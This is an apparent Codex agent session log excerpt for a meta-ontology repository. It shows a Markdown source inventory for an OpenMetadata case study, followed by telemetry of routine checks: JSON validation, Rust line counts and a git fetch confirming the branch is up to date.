Inventory and Research Method\\n+\\n+## Method\\n+\\n+The investigation used the GitHub API/CLI for repository state and official\\n+OpenMetadata documentation and source repositories for technical claims.\\n+Marketing claims and time-sensitive counts are treated as observations, not as\\n+architecture requirements. Access date for every online source: 2026-07-12.\\n+\\n+## Local issue and pull request\\n+\\n+| Evidence | Observation |\\n+| --- | --- |\\n+| [Issue 5](https://github.com/link-foundation/meta-ontology/issues/5) | Open; asks for data collection, deep online research, complete requirements, solution options, plans, and component/library evaluation in one PR |\\n+| [PR 6](https://github.com/link-foundation/meta-ontology/pull/6) | Draft placeholder on branch `issue-5-e2602184e2c5` at collection time |\\n+| Issue comments API | No comments |\\n+| PR review comments API | No inline comments |\\n+| PR conversation comments API | No comments |\\n+| PR reviews API | No reviews |\\n+| [Issue 1 case study](../issue-1/README.md) | Establishes this repository's requirements/research/plan precedent |\\n+| [Issue 3 case study](../issue-3/README.md) | Establishes the collected-evidence and explicit-root-cause precedent |\\n+\\n+## OpenMetadata repository snapshot\\n+\\n+The [OpenMetadata repository](https://github.com/open-metadata/OpenMetadata)\\n+reported Apache-2.0 licensing, `main` as its default branch, and a multi-language\\n+codebase. The latest GitHub release observed was\\n+[`1.13.1-release`](https://github.com/open-metadata/OpenMetadata/releases/tag/1.13.1-release),\\n+published 2026-06-27. Counts such as stars, forks, connectors, schemas, or open\\n+issues are intentionally not used to choose this repository's architecture.\\n+\\n+Relevant upstream areas:\\n+\\n+- [`openmetadata-spec`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-spec):\\n+  canonical JSON Schemas and generated model inputs.\\n+- [`openmetadata-service`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-service):\\n+  server, repositories, APIs, authorization, and event handling.\\n+- [`ingestion`](https://github.com/open-metadata/OpenMetadata/tree/main/ingestion):\\n+  connector and workflow framework.\\n+- [`openmetadata-ui`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-ui):\\n+  web application kept separate from the metadata service.\\n+- [`openmetadata-clients`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-clients):\\n+  generated/client-facing access layers.\\n+- [Contribution guide](https://docs.open-metadata.org/v1.12.x/developers/contribute):\\n+  issue-based contribution and local build/test workflow.\\n+\\n+## Primary technical documentation\\n+\\n+| Topic | Source | Evidence used |\\n+| --- | --- | --- |\\n+| Metadata standard | [Metadata Standard](https://docs.open-metadata.org/v1.11.x/api-reference/main-concepts/metadata-standard) | Canonical, language-neutral schemas drive generated models and APIs |\\n+| REST conventions | [APIs](https://docs.open-metadata.org/v1.12.x/api-reference/main-concepts/metadata-standard/apis) | Schema-first resources, versioned `/api/v1` namespace, consistent collection/instance URIs |\\n+| Connector architecture | [Metadata ingestion deep dive](https://docs.open-metadata.org/v1.12.x/developers/contribute/codebase-deep-dives/metadata-ingestion) | Source-to-sink pipeline, topology, result/error handling, fingerprint-based incremental ingestion |\\n+| Ingestion capabilities | [Ingestion overview](https://docs.open-metadata.org/v1.12.x/connectors/ingestion) | Metadata, usage, lineage, profiling, quality, and versioning are distinct workflows |\\n+| Lineage | [Lineage deep dive](https://docs.open-metadata.org/v1.12.x/developers/contribute/codebase-deep-dives/lineage-ingestion) | Relationships are extracted, resolved, and published as graph data |\\n+| Connector schemas | [Define the JSON Schema](https://docs.open-metadata.org/latest/developers/contribute/developing-a-new-connector/define-json-schema) | One connection schema generates consistent Java, Python, and TypeScript types |\\n+| Governance | [Data Governance](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance) | Glossaries, classifications, ownership, and policies are first-class concepts |\\n+| Glossary semantics | [Glossary Term](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance/glossary/glossary-term) | Definitions, synonyms, related terms, tags, and references form a semantic graph |\\n+| Domains | [Domains and Data Products](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance/domains-%26-data-products) | Domain ownership and discoverable, documented products support decentralized stewardship |\\n+| Authorization | [Roles and Policies](https://docs.open-metadata.org/v1.12.x/how-to-guides/admin-guide/roles-policies) | Authorization evaluates actor, resource attributes, and operation |\\n+| Quality model | [Data Quality API](https://docs.open-metadata.org/v1.12.x/api-reference/data-quality) | Reusable definitions, applied cases, suites, and results separate rule from execution |\\n+| Observability | [Quality and Observability](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-quality-observability) | Tests, profiling, alerts, and incident handling form a feedback loop |\\n+| Deployment/security | [Deployment](https://docs.open-metadata.org/v1.12.x/deployment) and [Security](https://docs.open-metadata.org/v1.12.x/deployment/security) | Production operations and identity-provider integration are explicit concerns |\\n+\\n+## External standards and candidate components\\n+\\n+These are evaluated as interoperability options, not mandatory dependencies.\\n+\\n+| Need | Candidate | Intended use |\\n+| --- | --- | --- |\\n+| Data contract validation | [JSON Schema 2020-12](https://json-schema.org/draft/2020-12) | Portable interchange schema; keep lino canonical if desired |\\n+| Semantic graph exchange | [RDF 1.2](https://www.w3.org/TR/rdf12-concepts/) / [OWL 2](https://www.w3.org/TR/owl2-overview/) | Import/export and ontology-tool interoperability |\\n+| Graph constraints | [SHACL](https://www.w3.org/TR/shacl12-core/) | Express portable graph validity rules |\\n+| Provenance | [PROV-O](https://www.w3.org/TR/prov-o/) | Map source, agent, derivation, and activity metadata |\\n+| Lineage events | [OpenLineage](https://openlineage.io/docs/spec/) | Future pipeline lineage interchange, not core concept storage |\\n+| Rust serialization | [`serde`](https://docs.rs/serde/latest/serde/) | Typed interchange models |\\n+| Rust JSON Schema | [`schemars`](https://docs.rs/schemars/latest/schemars/) | Generate JSON Schema from Rust types |\\n+| Schema validation | [`jsonschema`](https://docs.rs/jsonschema/latest/jsonschema/) | Validate imported/exported JSON |\\n+| Stable identifiers | [`uuid`](https://docs.rs/uuid/latest/uuid/) | UUID identity when content-derived IDs are unsuitable |\\n+| HTTP service | [`axum`](https://docs.rs/axum/latest/axum/) | Existing roadmap choice for M3 |\\n+| API description | [`utoipa`](https://docs.rs/utoipa/latest/utoipa/) | Generate OpenAPI from Rust endpoint types |\\n+| Embedded search | [`tantivy`](https://docs.rs/tantivy/latest/tantivy/) | Optional local full-text index before external search infrastructure |\\n+| Graph algorithms | [`petgraph`](https://docs.rs/petgraph/latest/petgraph/) | Cycle, reachability, and integrity analysis if custom traversal becomes costly |\\n+\\n+## Reproducibility notes\\n+\\n+- Documentation versions are included in URLs where the official site exposed a\\n+  stable version. `latest` links should be rechecked before implementation.\\n+- The compact JSON snapshots record mutable facts. Full upstream repository\\n+  contents are not vendored because that would add millions of unrelated files\\n+  and create licensing/update noise.\\n+- Recommendations are reasoned adaptations to the current repository; they are\\n+  not claims that OpenMetadata implements the exact proposed Rust design.\\nD  .gitkeep\\nA  changelog.d/20260712_openmetadata_case_study.md\\nA  docs/case-studies/issue-5/README.md\\nA  docs/case-studies/issue-5/openmetadata-analysis.md\\nA  docs/case-studies/issue-5/raw-data/issue-5.json\\nA  docs/case-studies/issue-5/raw-data/research-observations.json\\nA  docs/case-studies/issue-5/requirements-and-solutions.md\\nA  docs/case-studies/issue-5/source-inventory.md\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:07:40.058Z] [INFO] \n[2026-07-12T04:07:40.092Z] [INFO] 2026-07-12T04:07:40.092011Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:07:40.092Z] [INFO] \n[2026-07-12T04:07:40.140Z] [INFO] 2026-07-12T04:07:40.139930Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:40.140Z] [INFO] \n[2026-07-12T04:07:40.154Z] [INFO] 2026-07-12T04:07:40.153840Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:07:40.154Z] [INFO] \n[2026-07-12T04:07:40.158Z] [INFO] 2026-07-12T04:07:40.155253Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:07:40.158Z] [INFO] \n[2026-07-12T04:07:40.262Z] [INFO] 2026-07-12T04:07:40.262545Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:40.262Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:40.262Z] [INFO] \n[2026-07-12T04:07:40.270Z] [INFO] 2026-07-12T04:07:40.263143Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:40.263Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:40.270Z] [INFO] 2026-07-12T04:07:40.263170Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:40.270Z] [INFO] \n[2026-07-12T04:07:40.288Z] [INFO] 2026-07-12T04:07:40.265539Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:07:40.288Z] [INFO] \n[2026-07-12T04:07:40.375Z] [INFO] 2026-07-12T04:07:40.374635Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:07:40.375Z] [INFO] 2026-07-12T04:07:40.374730Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:07:40 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"a2300a39-0aa1-4a4d-9850-577977899880\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=zrMgfo%2BOQHo4Jzg1vQWAfkW5kvT1iTJ9vCrRjaMxDY5cca%2BDAZwUl8pcZVh0ftcGaMOiM2of58IowmtWIpQ87D1yCWjWsJPh0va0eRPiEQFjzWpmkRNn5TCju0yF\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2eacebb47318-FRA\"} version=HTTP/1.1\n[2026-07-12T04:07:40.375Z] [INFO] \n[2026-07-12T04:07:41.042Z] [INFO] 2026-07-12T04:07:41.041549Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53130d06f8819196b5ad540a745cfe\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMNvGzO1Ggs-gKs60N8aHMdrDZuw1PA9gEM9SccBw8gfFGqEB7m40uqOBJ1JBjHA-veihwhsnCzFTlincEnssLay1HHu3W-38ySoK4UYO9bsaG_oC_ftEo78LVonoZ4afJBavGglExZUvOe5z9HuT__zrvKqQbZeXOgWB707kC1mzFUXY-YRkHjayqHTrd2AdJvqospULvQO6Rq_3W1e672LdyQq-Y4W_sZaWAcujbDXcIpHBr6kbIgj16SZQrqG47BmqsCQm7hwWGMq9v102m1Nje7Nt_Fk59D-aGdVwRqSKW7VGVFwFzDKHs05CDRfrB7SOMAWW9O98IxzCbuZAgrR2OzVdnS6aqn6cqZTGtXBxZ9eTh2_FsV4oaJiF57SyKmRcvZdlD2CqFGJzTkCZa_IyUCvBweIU00Qn_mRooTy2fVv7vz2-UWc3cHMRgZ1tXscTjWhf7HfBHdOCdBrjsY4VesfCfkGhw1R9l77vVswvnJILFU5zRhziY3KwieR3uhqJre8WZfUYwpU7Ept012Z1Y4aWwGbtsSeWAD9H33sZUmqiScYVSB1SLscCbHRuPux33FG7xouhj3SpgQ1JPHpGtLmm2gpNmnhJBCWeMrYsGJ_UZ6v-P9e97QstgleSChpFFr5nS0iaBtj6_e2M4Ke_wiRtiYFOVjz5UsT7fI-qKIEiDxcRWiS96LWmvwLYE2pLAawtPWMS3DqWtM-Hvq_AOnZYXQ1klIHAsfE179YA5HREnO9mYS74CWDV3ld2H8eqewnX3R3BBzMalmflJaCsHMg6mRk-Z87YJyB6zgbR77Ho_wNfntb7exlGFcPLVKyQ7VbJglCbISd5nOB5XjCya2gZvIJRHomGOmXHQe_htGEBSchydRY9FGL7RfAuTA_rdLnZ20TL9GsNZAFI7tdA==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:41.042Z] [INFO] \n[2026-07-12T04:07:44.028Z] [INFO] 2026-07-12T04:07:44.025195Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53130d06f8819196b5ad540a745cfe\"), summary: [SummaryText { text: \"**Validating JSON and planning git fetch and merge**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMQhUaolHF5fYjH_i8HdUEjtECeaV3KhPJg8yZKlg7LzC2Q-bdnI64k9Y9xZBwGse7q-F-h0Q3VqdJq5hNT3fx6qq9y0A948tMWg-A4dWD4nyr59Z3d4MRFDH93ee_BCtF4xAu6FYJvOa1wf8eAUMbZNs1Ti_Ac7_uf-3CczN_RsZPOJQr5z52OBkunP4T4colcKcEV3hL27t3Fe3f4CPT-slogqE9J2HNRFrQuoEnv1NIYNw-6Z0OmrkSH8uOs5BHHh52xwEV5ppjdC2hoHV7F_ZlXM8o1zCaptXe1z7Tf4GqhPgDaaeXFgMHh30n4ar8Ny6PuW-GVYnqW9LAL5ji-KLTFCZg9B7pUTb6U8ZNvxXtOURfV0cMTeHvEdv_di20dd9u3bFqUJJWDU3rMymZZsmtmitUtbYjkLGD2ud6knSGLQPGPCPivjtj_L4_ssGcIrwXPD6Ke_R1x7apBG-FuDsBKy7VTU2dU7KiI5L7Ay_6EAn-rCCZIWnJdRi4uRnIj5RA1usKUjZUEH2cFrvwilIRw02s71l7ORQ3MgNB_N1FPfdLl9jW9bTMueIhswDt02tU3uBt1aFsrNutbIdD7LjhxTUXUJ6qk2ZnXHYqlSw9bVKEufkpynxjzyLNqRvenhrgpsOf9bH1THkHjCm4IXX0VFKuKzq7nx6KGwC-QxUvt_oHHUcSFHnTYZ1PYzUrKFk38rRH-4T3nYXHIk5WhKSPTe1bjY5_1xnZTK_YjIWXiNdeOaH0sBFaLwD1faVPxnbJmETi4uCzlXAokD9NmzPgvmTLXTcQ5MbDgyT87X0gNNPmu1MQmJDVfvWj7b8Jha21Wv2tpMhOmDVzOcG-_dcaOSoGjXiUzmtZWXBv8nJOOS4bTcUht1rTFVJNCYqH1JH-Eq75QqwPV7Cy-weMppkXMkBEl_Ml2lz7wKU825mM0Vuo_5-wiWMZ_yAV3jCXLxOPdqBI-2KnJBxfZuMuNEKrcspQFS3OGkeYveY3ZFfk-FJ8RgK6WB0yRAwYB5kBBm-BDyJOam-c8_3-gtwn7-Fs0TZWUDRePmobRDzAejxFDGyMWYjOsNIl8zVfuUNR0b7M8PK7KUAoY7uOR0VpvMKjXV7QeDo7j-2PPqf894usv29tZk3IbUpz6j21fc2L5YqOD7OJm-4BNgKK3rO0XX84PjCCWtBr0M91ZnxMWBbDiBupFSyHN0ABGDdJh3fgG2OSDIIh9yeoy4vMSFL3ihaStN8iSkRmdZ0Do4koeKYJBWgCjnTWJvoG15C1guWQj2XZo0bRrb6T3oaKfou1f_InfMnjpdfVaVS6y4074xUIbp_fNUUDSiVq2T6pK6rISCZE3kPNJZMq7hB_Rffi6Iw==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:44.028Z] [INFO] \n[2026-07-12T04:07:44.032Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_43\",\"type\":\"reasoning\",\"text\":\"**Validating JSON and planning git fetch and merge**\"}}\n[2026-07-12T04:07:44.032Z] [INFO] \n[2026-07-12T04:07:44.036Z] [INFO] 2026-07-12T04:07:44.030023Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a53131002608191a59f4998b207dc25\"), status: Some(\"in_progress\"), call_id: \"call_xW0YP8Mqushw8BhjvtLBx6fB\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:44.036Z] [INFO] \n[2026-07-12T04:07:47.649Z] [INFO] 2026-07-12T04:07:47.624565Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.exec_command({cmd:\"ruby -rjson -e 'ARGV.each { |f| JSON.parse(File.read(f)); puts \\\"valid JSON: #{f}\\\" }' docs/case-studies/issue-5/raw-data/*.json\\nfind . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l | sort -n | tail -10\\nawk '$1 > 1000 { bad=1 } END { exit bad }' < <(find . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l)\\ngit fetch origin main issue-5-e2602184e2c5 && git rev-parse origin/main && git merge-base --is-ancestor origin/main HEAD && echo 'origin/main is already in branch history'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":10000}); text(r.output);\n[2026-07-12T04:07:47.649Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:47.649Z] [INFO] 2026-07-12T04:07:47.633410Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a53130c55f48191aa8c6bc3dae42f88\"\n[2026-07-12T04:07:47.649Z] [INFO] 2026-07-12T04:07:47.633469Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=74726 output_token_count=325 cached_token_count=64256 reasoning_token_count=71 tool_token_count=75051 ttft_ms=780 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:47.633Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:47.649Z] [INFO] 2026-07-12T04:07:47.633490Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=74726 output_token_count=325 cached_token_count=64256 reasoning_token_count=71 tool_token_count=75051 ttft_ms=780 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:47.633Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:47.649Z] [INFO] \n[2026-07-12T04:07:47.769Z] [INFO] 2026-07-12T04:07:47.767740Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-cd8cc816-d301-4f5b-8cc5-d66eb27e29bb decision=approved source=Config event.timestamp=2026-07-12T04:07:47.767Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:47.769Z] [INFO] \n[2026-07-12T04:07:47.943Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_44\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"ruby -rjson -e 'ARGV.each { |f| JSON.parse(File.read(f)); puts \\\\\\\"valid JSON: #{f}\\\\\\\" }' docs/case-studies/issue-5/raw-data/*.json\\nfind . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l | sort -n | tail -10\\nawk '\\\"'$1 > 1000 { bad=1 } END { exit bad }'\\\"' < <(find . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l)\\ngit fetch origin main issue-5-e2602184e2c5 && git rev-parse origin/main && git merge-base --is-ancestor origin/main HEAD && echo 'origin/main is already in branch history'\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:07:47.943Z] [INFO] \n[2026-07-12T04:07:48.538Z] [INFO] 2026-07-12T04:07:48.537465Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-cd8cc816-d301-4f5b-8cc5-d66eb27e29bb arguments={\"cmd\":\"ruby -rjson -e 'ARGV.each { |f| JSON.parse(File.read(f)); puts \\\"valid JSON: #{f}\\\" }' docs/case-studies/issue-5/raw-data/*.json\\nfind . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l | sort -n | tail -10\\nawk '$1 > 1000 { bad=1 } END { exit bad }' < <(find . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l)\\ngit fetch origin main issue-5-e2602184e2c5 && git rev-parse origin/main && git merge-base --is-ancestor origin/main HEAD && echo 'origin/main is already in branch history'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":10000} duration_ms=771 success=true output=Chunk ID: 020ce9\n[2026-07-12T04:07:48.538Z] [INFO] Wall time: 0.5949 seconds\n[2026-07-12T04:07:48.538Z] [INFO] Process exited with code 0\n[2026-07-12T04:07:48.538Z] [INFO] Original token count: 172\n[2026-07-12T04:07:48.538Z] [INFO] Output:\n[2026-07-12T04:07:48.538Z] [INFO] valid JSON: docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:07:48.538Z] [INFO] valid JSON: docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:07:48.538Z] [INFO]    186 ./scripts/detect-code-changes.rs\n[2026-07-12T04:07:48.538Z] [INFO]    201 ./src/ontology.rs\n[2026-07-12T04:07:48.538Z] [INFO]    215 ./scripts/create-github-release.rs\n[2026-07-12T04:07:48.538Z] [INFO]    234 ./scripts/check-release-needed.rs\n[2026-07-12T04:07:48.538Z] [INFO]    234 ./scripts/collect-changelog.rs\n[2026-07-12T04:07:48.538Z] [INFO]    238 ./src/loader.rs\n[2026-07-12T04:07:48.538Z] [INFO]    273 ./scripts/rust-paths.rs\n[2026-07-12T04:07:48.538Z] [INFO]    321 ./src/words.rs\n[2026-07-12T04:07:48.538Z] [INFO]    532 ./scripts/version-and-commit.rs\n[2026-07-12T04:07:48.538Z] [INFO]   4498 total\n[2026-07-12T04:07:48.538Z] [INFO] From https://github.com/link-foundation/meta-ontology\n[2026-07-12T04:07:48.538Z] [INFO]  * branch            main       -> FETCH_HEAD\n[2026-07-12T04:07:48.538Z] [INFO]  * branch            issue-5-e2602184e2c5 -> FETCH_HEAD\n[2026-07-12T04:07:48.538Z] [INFO] 04e**********************************70b\n[2026-07-12T04:07:48.538Z] [INFO] origin/main is already in branch history\n[2026-07-12T04:07:48.538Z] [INFO]  mcp_server= 